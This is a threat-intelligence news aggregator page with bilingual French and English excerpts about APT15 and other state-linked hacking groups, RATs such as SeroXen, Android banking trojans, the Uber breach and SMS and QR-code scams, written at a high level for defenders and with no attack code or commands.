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2023-06-27 13:00:00 | Cyberheistnews Vol 13 # 26 [Eyes Open] La FTC révèle les cinq dernières escroqueries par SMS CyberheistNews Vol 13 #26 [Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams (lien direct) |
CyberheistNews Vol 13 #26 | June 27th, 2023
[Eyes Open] The FTC Reveals the Latest Top Five Text Message Scams
The U.S. Federal Trade Commission (FTC) has published a data spotlight outlining the most common text message scams. Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says.
These are the top five text scams reported by the FTC:
Copycat bank fraud prevention alerts
Bogus "gifts" that can cost you
Fake package delivery problems
Phony job offers
Not-really-from-Amazon security alerts
"People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers.
"What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft."
Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery.
"The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'"
Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says.
"Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone."
Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money. "People may get what looks like a message from \'Amazon,\' asking to verify a big-ticket order they didn\'t place," the FTC says. "Concerned |
Ransomware Spam Malware Hack Tool Threat | FedEx APT 28 APT 15 ChatGPT ChatGPT | ★★ |
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2023-06-21 21:35:00 | L'APT15 chinois de 20 ans trouve une nouvelle vie dans les attaques du ministère des Affaires étrangères 20-Year-Old Chinese APT15 Finds New Life in Foreign Ministry Attacks (lien direct) |
Le célèbre APT15 a utilisé des outils de logiciels malveillants communs et une porte dérobée "graphique" personnalisée de troisième génération pour poursuivre ses exploits de collecte d'informations, cette fois contre les ministères étrangères.
The notorious APT15 used common malware tools and a third-generation custom "Graphican" backdoor to continue its information gathering exploits, this time against foreign ministries. |
Malware | APT 15 APT 15 | ★★ |
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2023-06-21 06:00:00 | Les pirates chinois APT15 refont surface avec de nouveaux logiciels malveillants graphiques Chinese APT15 hackers resurface with new Graphican malware (lien direct) |
Le groupe de piratage chinois parrainé par l'État suivi comme APT15 a été observé à l'aide d'une nouvelle porte dédominale nommée \\ 'graphican \' dans une nouvelle campagne entre la fin 2022 et le début de 2023. [...]
The Chinese state-sponsored hacking group tracked as APT15 has been observed using a novel backdoor named \'Graphican\' in a new campaign between late 2022 and early 2023. [...] |
Malware | APT 15 APT 15 | ★★★ |
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2023-05-30 22:00:00 | Rat Seroxen à vendre SeroXen RAT for sale (lien direct) |
This blog was jointly written with Alejandro Prada and Ofer Caspi.
Executive summary
SeroXen is a new Remote Access Trojan (RAT) that showed up in late 2022 and is becoming more popular in 2023. Advertised as a legitimate tool that gives access to your computers undetected, it is being sold for only $30 for a monthly license or $60 for a lifetime bundle, making it accessible.
Key takeaways:
SeroXen is a fileless RAT, performing well at evading detections on static and dynamic analysis.
The malware combines several open-source projects to improve its capabilities. It is a combination of Quasar RAT, r77-rootkit and the command line NirCmd.
Hundreds of samples have shown up since its creation, being most popular in the gaming community. It is only a matter of time before it is used to target companies instead of individual users.
Analysis
Quasar RAT is a legitimate open-source remote administration tool. It is offered on github page to provide user support or employee monitoring. It has been historically associated with malicious activity performed by threat actors, APT groups (like in this Mandiant report from 2017), or government attacks (in this report by Unit42 in 2017).
It was first released in July 2014 as “xRAT” and renamed to “Quasar” in August 2015. Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version. As an open-source RAT tool with updates 9 years after its creation, it is no surprise that it continues to be a common tool used by itself or combined with other payloads by threat actors up to this day.
In a review of the most recent samples, a new Quasar variant was observed by Alien Labs in the wild: SeroXen. This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT. They’re selling it for monthly or lifetime fee. Figure 1 contains some of the features advertised on their website.
Figure 1. SeroXen features announced on its website.
This new RAT first showed up on a Twitter account, established in September 2022. The person advertising the RAT appeared to be an English-speaking teenager. The same Twitter handle published a review of the RAT on YouTube. The video approached the review from an attacking/Red Team point of view, encouraging people to buy the tool because it is worth the money. They were claiming to be a reseller of the tool.
In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com. The RAT was distributed via a monthly license for $30 USD or a lifetime license of $60 USD. It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal.
After a few months, on the 1st of February, the YouTuber CyberSec Zaado published a video alerting the community about the capabilities of the RAT from a defensive perspective. In late February, the RAT was advertised on social media platforms such as TikTok, Twitter, YouTube, and several cracking forums, including hackforums. There were some conversations on gaming forums complaining about being infected by malware after downloading some video games. The artifacts described by the users matched with SeroXen RAT.
The threat actor updated the domain name to seroxen[.]net by the end of March. This domain name was registered on March 27th |
Malware Tool Threat | Uber APT 10 | ★★ |
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2023-01-24 16:30:00 | Anomali Cyber Watch: Roaming Mantis Changes DNS on Wi-Fi Routers, Hook Android Banking Trojan Has Device Take-Over Capabilities, Ke3chang Targeted Iran with Updated Turian Backdoor (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Banking trojans, DNS hijacking, China, Infostealers, Malvertising, Phishing, and Smishing. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022
(published: January 19, 2023)
In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains.
Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.
MITRE ATT&CK: [MITRE ATT&CK] T1078.001 - Valid Accounts: Default Accounts | [MITRE ATT&CK] T1584 - Compromise Infrastructure
Tags: actor:Roaming Mantis, actor:Shaoye, file-type:APK, detection:Wroba, detection:Moqhao, detection:XLoader, malware-type:Trojan-Dropper, DNS changer, Wi-Fi routers, ipTIME, EFM Networks, Title router, DNS hijacking, Malicious app, Smishing, South Korea, target-country:KR, Japan, target-country:JP, Austria, target-country:AT, France, target-country:FR, Germany, target-country:DE, VK, Mobile, Android
Hook: a New Ermac Fork with RAT Capabilities
(published: January 19, 2023)
ThreatFabric researchers analyzed a new Android banking trojan named Hook. It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones.
Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive |
Malware Tool Threat Guideline | APT 15 APT 25 | ★★★ |
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2023-01-19 04:27:00 | Chinese hackers targeted Iranian government entities for months: Report (lien direct) | Chinese advanced persistent threat actor, Playful Taurus, targeted several Iranian government entities between July and December 2022, according to a Palo Alto Networks report. The Chinese threat actor also known as APT15, KeChang, NICKEL, BackdoorDiplomacy, and Vixen Panda, was observed attempting to connect government domains to malware infrastructure previously associated with the APT group, according to the report.“Playful Taurus continues to evolve their tactics and their tooling. Recent upgrades to the Turian backdoor and new C2 infrastructure suggest that these actors continue to see success during their cyber espionage campaigns,” Palo Alto Networks said in a blog. To read this article in full, please click here | Malware Threat | APT 15 APT 25 | ★★★ |
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2022-12-09 16:00:00 | Cobalt Mirage Affiliate Uses GitHub to Relay Drokbk Malware Instructions (lien direct) | Secureworks said the malicious code is written in .NET and comprises a dropper and a payload | Malware | APT 15 | ★★★ |
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2022-12-09 11:17:25 | Un groupe soutenu par l\'Iran utilise Github pour relayer les instructions de logiciels malveillants (lien direct) | Un groupe soutenu par l'Iran utilise Github pour relayer les instructions de logiciels malveillants Un sous-groupe du groupe iranien Cobalt Mirage, Cluster B, cible les organisations américaines avec un malware Drokbk personnalisé - Malwares | Malware | APT 15 | ★★ |
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2022-12-09 04:00:00 | Drokbk Malware Uses GitHub as Dead Drop Resolver (lien direct) | Type: BlogsDrokbk Malware Uses GitHub as Dead Drop ResolverA subgroup of the Iranian COBALT MIRAGE threat group leverages Drokbk for persistence.A subgroup of the Iranian COBALT MIRAGE threat group leverages Drokbk for persistence. | Malware Threat | APT 15 | ★★ |
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2022-11-01 20:45:00 | Chinese Hackers Using New Stealthy Infection Chain to Deploy LODEINFO Malware (lien direct) | The Chinese state-sponsored threat actor known as Stone Panda has been observed employing a new stealthy infection chain in its attacks aimed at Japanese entities. Targets include media, diplomatic, governmental and public sector organizations and think-tanks in Japan, according to twin reports published by Kaspersky. Stone Panda, also called APT10, Bronze Riverside, Cicada, and Potassium, is a | Malware Threat | APT 10 | |
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2022-10-31 11:34:52 | Hacking group abuses antivirus software to launch LODEINFO malware (lien direct) | The Chinese Cicada hacking group, tracked as APT10, was observed abusing security software to install a new version of the LODEINFO malware against Japanese organizations. [...] | Malware | APT 10 | |
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2022-09-20 15:00:00 | Anomali Cyber Watch: Uber and GTA 6 Were Breached, RedLine Bundle File Advertises Itself on YouTube, Supply-Chain Attack via eCommerce Fishpig Extensions, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: China, Cyberespionage, Iran, Ransomware, Stealers, and Supply chain. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Hacker Pwns Uber Via Compromised VPN Account
(published: September 16, 2022)
On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker.
Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time. Review your source code for embedded credentials, especially those with administrative privileges.
MITRE ATT&CK: [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Credentials from Password Stores - T1555
Tags: MFA fatigue, Social engineering, Data breach, Uber, GTA 6, GTA VI, detection:Racoon, detection:Vidar, malware-type:Keylogger, malware-type:Stealer
Self-Spreading Stealer Attacks Gamers via YouTube
(published: September 15, 2022)
Kaspersky researchers discovered a new campaign spreading the RedLine commodity stealer. This campaign utilizes a malicious bundle: a single self-extracting archive. The bundle delivers RedLine and additional malware, which enables spreading the malicious archive by publishing promotional videos on victim’s Youtube channel. These videos target gamers with promises of “cheats” and “cracks.”
Analyst Comment: Kids and other online gamers should be reminded to avoid illegal software. It might be better to use different machines for your gaming and banking activities.
MITRE ATT&CK: [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Credentials from Password Stores - T1555 | [MITRE ATT&CK] Resource Hijacking - T1496
Tags: detection:RedLine, malware-type:Stealer, Bundle, Self-spreading, Telegraph, Youtub |
Ransomware Malware Tool Vulnerability Threat Guideline | Uber Uber APT 41 APT 15 | |
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2022-08-06 10:46:21 | CISO workshop slides (lien direct) | A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): | Malware Vulnerability Threat Patching Guideline Medical Cloud | Uber APT 38 APT 37 APT 28 APT 19 APT 15 APT 10 APT 34 Guam | |
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2022-08-04 08:00:13 | Attackers leveraging Dark Utilities "C2aaS" platform in malware campaigns (lien direct) |  By Edmund Brumaghin, Azim Khodjibaev and Matt Thaxton, with contributions from Arnaud Zobec.Executive SummaryDark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries.It is marketed as a means to enable remote access, command execution, distributed denial-of-service (DDoS) attacks and cryptocurrency mining operations on infected systems.Payloads provided by the platform support Windows, Linux and Python-based implementations and are hosted within the Interplanetary File System (IPFS), making them resilient to content moderation or law enforcement intervention.Since its initial release, we've observed malware samples in the wild leveraging it to facilitate remote access and cryptocurrency mining.What is "Dark Utilities?"In early 2022, a new C2 platform called "Dark Utilities" was established, offering a variety of services such as remote system access, DDoS capabilities and cryptocurrency mining. The operators of the service also established Discord and Telegram communities where they provide technical support and assistance for customers on the platform.  Dark Utilities provides payloads consisting of code that is executed on victim systems, allowing them to be registered with the service and establish a command and control (C2) communications channel. The platform currently supports Windows, Linux and Python-based payloads, allowing adversaries to target multiple architectures without requiring significant development resources. During our analysis, we observed efforts underway to expand OS and system architecture support as the platform continues to see ongoing develo |
Spam Malware Hack Tool Threat Guideline | APT 19 | |
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2022-08-02 08:00:14 | Manjusaka: A Chinese sibling of Sliver and Cobalt Strike (lien direct) |  By Asheer Malhotra and Vitor Ventura.Cisco Talos recently discovered a new attack framework called "Manjusaka" being used in the wild that has the potential to become prevalent across the threat landscape. This framework is advertised as an imitation of the Cobalt Strike framework.The implants for the new malware family are written in the Rust language for Windows and Linux.A fully functional version of the command and control (C2), written in GoLang with a User Interface in Simplified Chinese, is freely available and can generate new implants with custom configurations with ease, increasing the likelihood of wider adoption of this framework by malicious actors.We recently discovered a campaign in the wild using lure documents themed around COVID-19 and the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. These maldocs ultimately led to the delivery of Cobalt Strike beacons on infected endpoints.We have observed the same threat actor using the Cobalt Strike beacon and implants from the Manjusaka framework.IntroductionCisco Talos has discovered a relatively new attack framework called "Manjusaka" (which can be translated to "cow flower" from the Simplified Chinese writing) by their authors, being used in the wild.As defenders, it is important to keep track of offensive frameworks such as Cobalt Strike and Sliver so that enterprises can effectively defend against attacks employing these tools. Although we haven't observed widespread usage of this framework in the wild, it has the potential to be adopted by threat actors all over the world. This disclosure from Talos intends to provide early notification of the usage of Manjusaka. We also detail the framework's capabilities and the campaign that led to the discovery of this attack framework in the wild.The research started with a malicious Microsoft Word document (maldoc) that contained a Cobalt Strike (CS) beacon. The lure on this document mentioned a COVID-19 outbreak in Golmud City, one of the largest cities in the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. During the investigation, Cisco Talos found no direct link between the campaign and the framework developers, aside from the usage of the framework (which is freely available on GitHub). However, we could not find any data that could support victimology definition. This is justifiable considering there's a low number of victims, indicating the early stages of the campaign, further supported by the maldoc metadata that indicates it was created in the second half of June 2022.While investigating the maldoc infection chain, we found an implant used to instrument Manjusaka infections, contacting the same IP address as the CS beacon. This implant is written in the Rust programming language and we found samples for Windows and Linux operating systems. The Windows implant included test samples, which had non-internet-routable IP addresses as command and control (C2). Talos also discovered the Manjusaka C2 executable - a fully functional C2 ELF binary written in GoLang with a User Interface in Simplified Chinese - on GitHub. While analyzing the C2, we generated implants by specifying our configurations. The developer advertises it has an advers |
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2022-06-01 17:47:00 | Anomali Cyber Watch: TURLA\'s New Phishing-Based Reconnaissance Campaign in Eastern Europe, Unknown APT Group Has Targeted Russia Repeatedly Since Ukraine Invasion and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Chromeloader, Goodwill, MageCart, Saitama, Turla and Yashma. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Credit Card Stealer Targets PsiGate Payment Gateway Software
(published: May 25, 2022)
Sucuri Researchers have detailed their findings on a MageCart skimmer that had been discovered within the Magento payment portal. Embedded within the core_config_data table of Magento’s database, the skimmer was obfuscated and encoded with CharCode. Once deobfuscated, a JavaScript credit card stealer was revealed. The stealer is able to acquire text and fields that are submitted to the payment page, including credit card numbers and expiry dates. Once stolen, a synchronous AJAX is used to exfiltrate the data.
Analyst Comment: Harden endpoint security and utilize firewalls to block suspicious activity to help mitigate against skimmer injection. Monitor network traffic to identify anomalous behavior that may indicate C2 activity.
MITRE ATT&CK: [MITRE ATT&CK] Exfiltration Over C2 Channel - T1041 | [MITRE ATT&CK] Data Encoding - T1132 | [MITRE ATT&CK] Input Capture - T1056
Tags: MageCart, skimmer, JavaScript Magento, PsiGate, AJAX
How the Saitama Backdoor uses DNS Tunneling
(published: May 25, 2022)
MalwareBytes Researchers have released their report detailing the process behind which the Saitama backdoor utilizes DNS tunneling to stealthy communicate with command and control (C2) infrastructure. DNS tunneling is an effective way to hide C2 communication as DNS traffic serves a vital function in modern day internet communications thus blocking DNS traffic is almost never done. Saitama formats its DNS lookups with the structure of a domain consisting of message, counter . root domain. Data is encoded utilizing a hardcoded base36 alphabet. There are four types of messages that Saitama can send using this method: Make Contact to establish communication with a C2 domain, Ask For Command to get the expected size of the payload to be delivered, Get A Command in which Saitama will make Receive requests to retrieve payloads and instructions and finally Run The Command in which Saitama runs the instructions or executes the payload and sends the results to the established C2.
Analyst Comment: Implement an effective DNS filtering system to block malicious queries. Furthermore, maintaining a whitelist of allowed applications for installation will assist in preventing malware like Saitama from being installed.
MITRE ATT&CK: [MITRE ATT&CK] Data Encoding - T1132 | [MITRE ATT&CK] Exfiltration Over C2 Channel - T1041
Tags: C2, DNS, Saitama, backdoor, base36, DNS tunneling
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2022-05-17 15:01:00 | Anomali Cyber Watch: Costa Rica in Ransomware Emergency, Charming Kitten Spy and Ransom, Saitama Backdoor Hides by Sleeping, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Conti ransomware, India, Iran, Russia, Spearphishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
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COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Modify Registry - T1112 | [MITRE ATT&CK] Create Account - T1136 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] Proxy - T1090 | [MITRE ATT&CK] Data Encrypted for Impact - T1486
Tags: Cobalt Mirage, Phosphorous, Cobalt Illusion, TunnelVision, Impacket, wmiexec, Softperfect network scanner, LSASS, RDP, Powershell, BitLocker, Ransomware, Fast Reverse Proxy client, FRP, FRPC, Iran, source-country:IR, USA, target-country:US, Cyberespionage, Government, APT, Go, Log4j2, ProxyShell, CVE-2021-34473, CVE-2021-45046, CVE-2021-44228, CVE-2020-12812, CVE-2021-31207, CVE-2018-13379, CVE-2021-34523, CVE-2019-5591
SYK Crypter Distributing Malware Families Via Discord
(published: May 12, 2022)
Morphisec researchers discovered a new campaign abusing popular messaging platform Discord content distribution network (CDN). If a targeted user activates the phishing attachment, it starts the DNetLoader malware that reaches out to the hardcoded Discord CDN link and downloads a next stage crypter such as newly-discovered SYK crypter. SYK crypter is being loaded into memory where it decrypts its configuration and the next stage payload using hardcoded keys and various encryption methods. It detects and impairs antivirus solutions and checks for d |
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2022-05-12 06:56:45 | Iranian Hackers Leveraging BitLocker and DiskCryptor in Ransomware Attacks (lien direct) | A ransomware group with an Iranian operational connection has been linked to a string of file-encrypting malware attacks targeting organizations in Israel, the U.S., Europe, and Australia. Cybersecurity firm Secureworks attributed the intrusions to a threat actor it tracks under the moniker Cobalt Mirage, which it said is linked to an Iranian hacking crew dubbed Cobalt Illusion (aka APT35, | Ransomware Malware Threat Conference | APT 35 APT 15 | ★★★★ |
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2022-05-03 16:31:00 | Anomali Cyber Watch: Time-to-Ransom Under Four Hours, Mustang Panda Spies on Russia, Ricochet Chollima Sends Goldbackdoor to Journalists, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, LNK files, Malspam, North Korea, Phishing, Ransomware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | |
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2022-03-10 23:39:03 | APT41 Compromised Six U.S. State Government Networks (lien direct) | FortiGuard Labs is aware of a report that threat actor APT41 compromised at least six networks belonging to U.S. state governments between May 2021 and February 2022. To gain a foothold into the victim's network, the threat actor used a number of different attack vectors: exploiting vulnerable Internet facing web applications and directory traversal vulnerabilities, performing SQL injection, and conducting de-serialization attacks. The intent of APT41 appears to be reconnaissance, though how the stolen information is to be used has not yet been determined.Why is this Significant? This is significant because at least six U.S. state government systems were broken into and data exfiltration was performed by APT41 as recent as February 2022 In addition, a zero-day vulnerability in the USAHerds application (CVE-2021-44207) as well as Log4j (CVE-2021-44228), among others, were exploited in the attacksWhat's the Detail of the Attack?APT41 performed several different ways to break into the targeted networks.In one case, the group exploited a SQL injection vulnerability in a Internet-facing web application. In another case, a then previously unknown vulnerability (CVE-2021-44207) in USAHerds, which is a web application used by agriculture officials to manage animal disease control and prevention, livestock identification and movement. Also, APT41 reportedly started to exploit the infamous Log4j vulnerability (CVE-2021-44228) within hours of Proof-of-Concept (PoC) code becoming available. Patches for both vulnerabilities are available. Once successful in breaking into the victim's network, the threat actor performed reconnaissance and credential harvesting activities. What is APT41?APT41 is a threat actor who has been active since at least 2012. Also known as TA415, Double Dragon, Barium, GREF and WickedPanda, the group reportedly performs Chinese state-sponsored espionage activities. APT41 targets organizations in multiple countries across a wide range of industries, such as telecommunications, industrial and engineering and think tanks. In 2020, five alleged members of the group were charged by the U.S. Justice Department for hacking more than 100 companies in the United States.What are the Tools Used by APT41?APT41 is known to use the following tools:ASPXSpy - web shell backdoorBITSAdmin - PowerShell cmdlets for creating and managing file transfers.BLACKCOFFEE - backdoor that disguise its communications as benign traffic to legitimate websites certutil - command-line utility tool used for manipulating certification authority (CA) data and components.China Chopper - web shell backdoor that allows attacker to have remote access to an enterprise networkCobalt Strike - a commercial penetration testing tool, which allows users to perform a wide range of activitiesDerusbi - DLL backdoorEmpire - PowerShell post-exploitation agent, which provides a wide range of attack activities to usersgh0st RAT - Remote Access Trojan (RAT)MESSAGETAP - data mining malware Mimikatz - open-source credential dumpernjRAT - Remote Access Trojan (RAT)PlugX - Remote Access Trojan (RAT)PowerSploit - open-source, offensive security framework which allows users to perform a wide range of activitiesROCKBOOT - BootkitShadowPad - backdoorWinnti for Linux - Remote Access Trojan (RAT) for LinuxZxShell - Remote Access Trojan (RAT)Badpotato - open-source tool that allows elevate user rights towards System rightsDustPan - shellcode loader. aka StealthVectorDEADEYE - downloaderLOWKEY - backdoorKeyplug - backdoorWhat are Other Vulnerabilities Known to be Exploited by APT41?APT41 exploited the following, but not restricted to, these vulnerabilities in the past:CVE-2020-10189 (ManageEngine Desktop Central remote code execution vulnerability)CVE-2019-19781 (Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance)CVE-2019-3396 (Atlassian Confluence Widget Connector Macro Velocity Template Injection)CVE-2017-11882 (Microsoft Office Memory Corruption Vulnerability)CVE-2017-0199 (Microsoft Office/WordPad Remote Code Execut | Malware Tool Vulnerability Threat Guideline | APT 41 APT 15 APT 15 | |
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2022-02-15 14:24:51 | CyberheistNews Vol 12 #07 [Heads Up] FBI Warns Against New Criminal QR Code Scams (lien direct) |
[Heads Up] FBI Warns Against New Criminal QR Code Scams
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CyberheistNews Vol 12 #07 | Feb. 15th., 2022
[Heads Up] FBI Warns Against New Criminal QR Code Scams
QR codes have been around for many years. While they were adopted for certain niche uses, they never did quite reach their full potential. They are a bit like Rick Astley in that regard, really popular for one song, but well after the boat had sailed. Do not get me wrong, Rick Astley achieved a lot. In recent years, he has become immortalized as a meme and Rick roller, but he could have been so much more.
However, in recent years, with lockdown and the drive to keep things at arms length, QR codes have become an efficient way to facilitate contactless communications, or the transfer of offers without physically handing over a coupon. As this has grown in popularity, more people have become familiar with how to generate their own QR codes and how to use them as virtual business cards, discount codes, links to videos and all sorts of other things.
QRime Codes
As with most things, once they begin to gain a bit of popularity, criminals move in to see how they can manipulate the situation to their advantage. Recently, we have seen fake QR codes stuck to parking meters enticing unwitting drivers to scan the code, and hand over their payment details believing they were paying for parking, whereas they were actually handing over their payment information to criminals.
The rise in QR code fraud resulted in the FBI releasing an advisory warning against fake QR codes that are being used to scam users. In many cases, a fake QR code will lead people to a website that looks like the intended legitimate site. So, the usual verification process of checking the URL and any other red flags apply.
CONTINUED with links and 4 example malicious QR codes on the KnowBe4 blog:
https://blog.knowbe4.com/qr-codes-in-the-time-of-cybercrime
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
